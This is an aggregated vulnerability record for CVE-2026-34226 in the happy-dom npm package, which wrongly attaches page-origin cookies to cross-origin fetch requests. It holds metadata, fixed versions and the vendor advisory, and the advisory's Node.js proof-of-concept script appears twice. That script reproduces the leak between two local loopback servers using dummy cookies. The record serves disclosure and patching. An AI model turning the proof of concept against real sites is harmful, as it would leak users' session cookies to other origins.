{"id":"CVE-2026-34226","aliases":["CLSA-2026-1782781184","CLSA-2026-1787835578","CLSA-2026-1790598377","CLSA-2026-1792191308","CLSA-2026-1792254607","CLSA-2026-1792254618","CLSA-2026-1792254633","CLSA-2026-1792254634","CLSA-2026-1792866906","CLSA-2026-1792866907","CLSA-2026-1792866938","CLSA-2026-1792866974","CLSA-2026-1792866976","EUVD-2026-16893","GHSA-w4gp-fjgq-3q4g"],"status":"published","title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00466,"percentile":0.40654,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-201","CWE-359"],"published":"2026-03-27T21:17:24Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"happy-dom","fixed_in":["20.8.9"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"happy-dom","fixed_in":["9.20.3-tuxcare.4","20.8.8-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@happy-dom/global-registrator","fixed_in":["9.20.3-tuxcare.4","20.8.8-tuxcare.1"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","fixed_in":["9.20.3-tuxcare.4","20.8.8-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20.8.9"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.1"}]}],"versions":["9.10.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.1"}]}],"versions":["15.11.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.4"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"happy-dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.1"}]}],"versions":["20.8.8"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/global-registrator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.1"}]}],"versions":["9.10.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/global-registrator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.1"}]}],"versions":["15.11.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/global-registrator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.4"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/global-registrator","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.1"}]}],"versions":["20.8.8"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.10.9-tuxcare.0"},{"fixed":"9.10.9-tuxcare.1"}]}],"versions":["9.10.9"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.12.3-tuxcare.0"},{"fixed":"14.12.3-tuxcare.2"}]}],"versions":["14.12.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"15.11.7-tuxcare.0"},{"fixed":"15.11.7-tuxcare.1"}]}],"versions":["15.11.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.20.3-tuxcare.0"},{"fixed":"9.20.3-tuxcare.4"}]}],"versions":["9.20.3","9.20.3-tuxcare.1","9.20.3-tuxcare.2","9.20.3-tuxcare.3"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@happy-dom/jest-environment","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.8.8-tuxcare.0"},{"fixed":"20.8.8-tuxcare.1"}]}],"versions":["20.8.8"]},{"source":"osv","ecosystem":"npm","package":"happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"20.8.9"}]}]}],"products":[{"vendor":"capricorn86","product":"happy-dom"},{"vendor":"capricorn86","product":"happy_dom"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat openshift container platform 4"}],"references":[{"url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/capricorn86/happy-dom/pull/2117","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts","tags":["x_refsource_MISC","Patch","web"]},{"url":"https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34226","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452519","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34226.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34226","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w4gp-fjgq-3q4g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34226.json","tags":["advisory"]},{"url":"https://github.com/capricorn86/happy-dom","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-34226","title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","status":"published","published":"2026-03-27T21:17:24.777Z","modified":"2026-07-15T01:04:37.919Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-201","CWE-359","CWE-201"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-16893","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","status":"published","published":"2026-03-27T21:17:24Z","modified":"2026-07-15T01:04:37Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T18:19:56.47701Z"}],"ghsa":[{"id":"GHSA-w4gp-fjgq-3q4g","title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) =\u003e server.listen(0, host, () =\u003e resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) =\u003e {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) =\u003e {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie \u0026\u0026 !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) =\u003e {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js \u003e= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.","status":"published","published":"2026-03-29T15:23:57Z","modified":"2026-03-29T15:23:57Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-34226","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","status":"published","published":"2026-03-27T22:16:23.113Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-201","CWE-359"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-34226","title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.","status":"published","published":"2026-03-27T21:17:24.777Z","modified":"2026-10-28T02:31:04.549113602Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201","CWE-359"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"GHSA-w4gp-fjgq-3q4g","title":"Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies","description":"### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require('http');\nconst dns = require('dns').promises;\nconst { Browser } = require('happy-dom');\n\nasync function listen(server, host) {\n  return new Promise((resolve) =\u003e server.listen(0, host, () =\u003e resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';\n  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';\n\n  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');\n  console.log('Setup:');\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');\n  console.log('');\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) =\u003e {\n    res.writeHead(200, { 'content-type': 'text/plain' });\n    res.end('page host');\n  });\n\n  const apiServer = http.createServer((req, res) =\u003e {\n    observedCookieHeader = req.headers.cookie || '';\n    const origin = req.headers.origin || '';\n    res.writeHead(200, {\n      'content-type': 'application/json',\n      'access-control-allow-origin': origin,\n      'access-control-allow-credentials': 'true'\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, '127.0.0.1');\n  const apiPort = await listen(apiServer, '127.0.0.1');\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: 'include'\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');\n    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');\n\n    console.log('Expected:');\n    console.log('  Request to target host should include \"api_cookie=API_ONLY\".');\n    console.log('  Request should NOT include \"page_cookie=PAGE_ONLY\".');\n    console.log('');\n\n    console.log('Actual:');\n    console.log(`  request cookie header: \"${observedCookieHeader || '(empty)'}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log('');\n\n    if (leakedPageCookie \u0026\u0026 !expectedApiCookie) {\n      console.log('Result: VULNERABLE behavior reproduced.');\n      process.exitCode = 0;\n    } else {\n      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) =\u003e {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js \u003e= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.","status":"published","published":"2026-03-29T15:23:57Z","modified":"2026-03-29T15:41:19.915766Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-201"],"updated_at":"2026-11-02T15:46:58.04805Z"},{"id":"CLSA-2026-1782781184","title":"TuxCare security update for happy-dom (3 CVEs)","description":"TuxCare rebuilt happy-dom to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:40Z","modified":"2026-10-25T01:30:06.425211008Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1787835578","title":"TuxCare security update for happy-dom (2 CVEs)","description":"TuxCare rebuilt happy-dom to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.","status":"published","published":"2026-08-27T12:59:38Z","modified":"2026-10-24T19:15:03.343051786Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"CLSA-2026-1790598377","title":"TuxCare security update for happy-dom (1 CVE)","description":"TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 9.20.3-tuxcare.4.","status":"published","published":"2026-09-28T12:26:17Z","modified":"2026-10-24T19:15:03.349142647Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1792191308","title":"TuxCare security update for happy-dom (1 CVE)","description":"TuxCare rebuilt happy-dom to address 1 CVE. Fixed in 20.8.8-tuxcare.1.","status":"published","published":"2026-10-16T22:55:08Z","modified":"2026-10-24T19:15:03.386151425Z","updated_at":"2026-11-02T15:43:51.747192Z"},{"id":"CLSA-2026-1792254607","title":"TuxCare security update for @happy-dom/global-registrator (3 CVEs)","description":"TuxCare rebuilt @happy-dom/global-registrator to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.","status":"published","published":"2026-10-17T16:30:07Z","modified":"2026-10-17T19:01:44.971637686Z","updated_at":"2026-11-02T15:43:52.011757Z"},{"id":"CLSA-2026-1792254618","title":"TuxCare security update for @happy-dom/global-registrator (2 CVEs)","description":"TuxCare rebuilt @happy-dom/global-registrator to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.","status":"published","published":"2026-10-17T16:30:18Z","modified":"2026-10-17T19:00:44.329670234Z","updated_at":"2026-11-02T15:43:52.011757Z"},{"id":"CLSA-2026-1792254633","title":"TuxCare security update for @happy-dom/global-registrator (1 CVE)","description":"TuxCare rebuilt @happy-dom/global-registrator to address 1 CVE. Fixed in 9.20.3-tuxcare.4.","status":"published","published":"2026-10-17T16:30:33Z","modified":"2026-10-17T19:01:44.977123954Z","updated_at":"2026-11-02T15:43:52.011757Z"},{"id":"CLSA-2026-1792254634","title":"TuxCare security update for @happy-dom/global-registrator (1 CVE)","description":"TuxCare rebuilt @happy-dom/global-registrator to address 1 CVE. Fixed in 20.8.8-tuxcare.1.","status":"published","published":"2026-10-17T16:30:33Z","modified":"2026-10-17T19:01:25.835241819Z","updated_at":"2026-11-02T15:43:52.011757Z"},{"id":"CLSA-2026-1792866906","title":"TuxCare security update for @happy-dom/jest-environment (3 CVEs)","description":"TuxCare rebuilt @happy-dom/jest-environment to address 3 CVEs. Fixed in 9.10.9-tuxcare.1.","status":"published","published":"2026-10-24T18:35:06Z","modified":"2026-10-25T01:30:06.621870145Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792866907","title":"TuxCare security update for @happy-dom/jest-environment (3 CVEs)","description":"TuxCare rebuilt @happy-dom/jest-environment to address 3 CVEs. Fixed in 14.12.3-tuxcare.2.","status":"published","published":"2026-10-24T18:35:06Z","modified":"2026-10-25T01:30:06.521896925Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792866938","title":"TuxCare security update for @happy-dom/jest-environment (2 CVEs)","description":"TuxCare rebuilt @happy-dom/jest-environment to address 2 CVEs. Fixed in 15.11.7-tuxcare.1.","status":"published","published":"2026-10-24T18:35:38Z","modified":"2026-10-25T01:30:05.621413961Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792866974","title":"TuxCare security update for @happy-dom/jest-environment (1 CVE)","description":"TuxCare rebuilt @happy-dom/jest-environment to address 1 CVE. Fixed in 9.20.3-tuxcare.4.","status":"published","published":"2026-10-24T18:36:14Z","modified":"2026-10-25T01:30:05.439478098Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1792866976","title":"TuxCare security update for @happy-dom/jest-environment (1 CVE)","description":"TuxCare rebuilt @happy-dom/jest-environment to address 1 CVE. Fixed in 20.8.8-tuxcare.1.","status":"published","published":"2026-10-24T18:36:16Z","modified":"2026-10-25T01:30:06.124681456Z","updated_at":"2026-11-02T15:43:54.981307Z"}]}}
